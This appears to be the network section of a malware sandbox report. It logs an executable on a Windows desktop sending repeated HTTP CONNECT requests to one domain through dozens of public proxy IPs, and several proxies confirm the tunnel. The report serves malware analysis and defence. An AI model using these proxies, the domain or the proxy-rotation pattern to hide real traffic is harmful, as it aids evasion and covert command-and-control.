Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.4	52637	104.18.251.208	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.396548986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.483895063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.4	51714	202.154.18.136	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.399101973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.862075090 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.4	52597	46.36.70.104	46964	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.402724028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.4	52480	103.212.95.253	41363	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.409538984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.4	52595	45.11.95.165	6031	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.415981054 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.4	52593	79.143.187.58	38971	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.421592951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.975044966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.4	52568	77.77.64.120	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.426255941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.853471994 CET	92	IN	HTTP/1.0 200 Connection established Proxy-agent: Kerio Control/9.3.6 patch 1 build 5808

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.4	52636	44.190.9.65	48100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.427602053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.4	49837	159.65.245.255	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.434027910 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.470436096 CET	467	IN	HTTP/1.1 403 Forbidden Date: Fri, 23 Feb 2024 08:45:23 GMT Server: Apache/2.4.18 (Ubuntu) Content-Length: 306 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.4	52622	146.59.2.185	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.457720995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.4	52631	51.210.223.9	3000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.464210033 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.4	52514	43.255.113.232	8083	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.491748095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.365705967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.475068092 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.844804049 CET	208	IN	HTTP/1.0 404 Not Found Server: HCS Date: Fri, 23 Feb 2024 11:33:15 GMT Content-Type: text/html Content-Length: 432 HCS-Error: ERR_FTP_NOT_FOUND 0 X-NGAA: MISS from CH-XW-NO1-315.3 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.4	52045	162.241.74.136	42394	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.491925955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680313110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680691004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.682018995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.684233904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.709306002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.756189108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.4	52545	43.133.80.236	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.492060900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
844	192.168.2.4	51341	42.200.196.208	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.497499943 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680301905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:54.822295904 CET	72	IN	HTTP/1.1 200 Connection Established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
845	192.168.2.4	51963	70.166.167.55	57745	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.498109102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
846	192.168.2.4	52555	103.118.46.61	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.519311905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
847	192.168.2.4	49850	185.129.250.183	26777	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.520443916 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.615314960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.716538906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.741286993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.740540028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.740725040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.818698883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
848	192.168.2.4	52589	103.164.106.98	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.537245035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
849	192.168.2.4	52036	189.240.60.168	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.537405014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.727111101 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
850	192.168.2.4	49820	188.165.237.26	52982	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.537559986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680458069 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680691004 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.682018995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.684252024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.709347010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.756189108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
851	192.168.2.4	52065	189.240.60.164	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.540991068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.730848074 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
852	192.168.2.4	52620	200.43.231.8	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.546226025 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
853	192.168.2.4	52651	72.206.181.103	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.547768116 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.4	52641	212.31.100.138	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.547837973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.4	51884	123.108.98.89	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.547914028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.4	51897	103.200.135.230	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.547916889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.4	52013	141.94.174.6	13326	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.548105955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.4	51973	162.240.22.169	32060	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.548196077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680442095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680661917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.4	51925	171.244.140.160	53749	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.558896065 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.615282059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.4	52104	95.111.227.164	35683	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.559531927 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.4	51944	207.180.198.241	25279	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.566112041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680577040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680660009 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.682027102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.684288979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:58.709456921 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:10.756201029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.4	52618	8.213.129.20	3080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.566335917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.880000114 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.4	51976	167.86.69.142	49369	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.570255995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680471897 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:28.680661917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.4	52630	58.234.116.197	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.579087019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.4	52652	138.0.207.18	38328	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.581155062 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.178184032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.4	52058	177.38.10.15	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.592694998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680497885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.176719904 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.4	52565	115.144.163.192	27181	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.599354982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.475013018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.865850925 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.282468081 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.4	52604	60.12.168.114	9002	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:22.616987944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
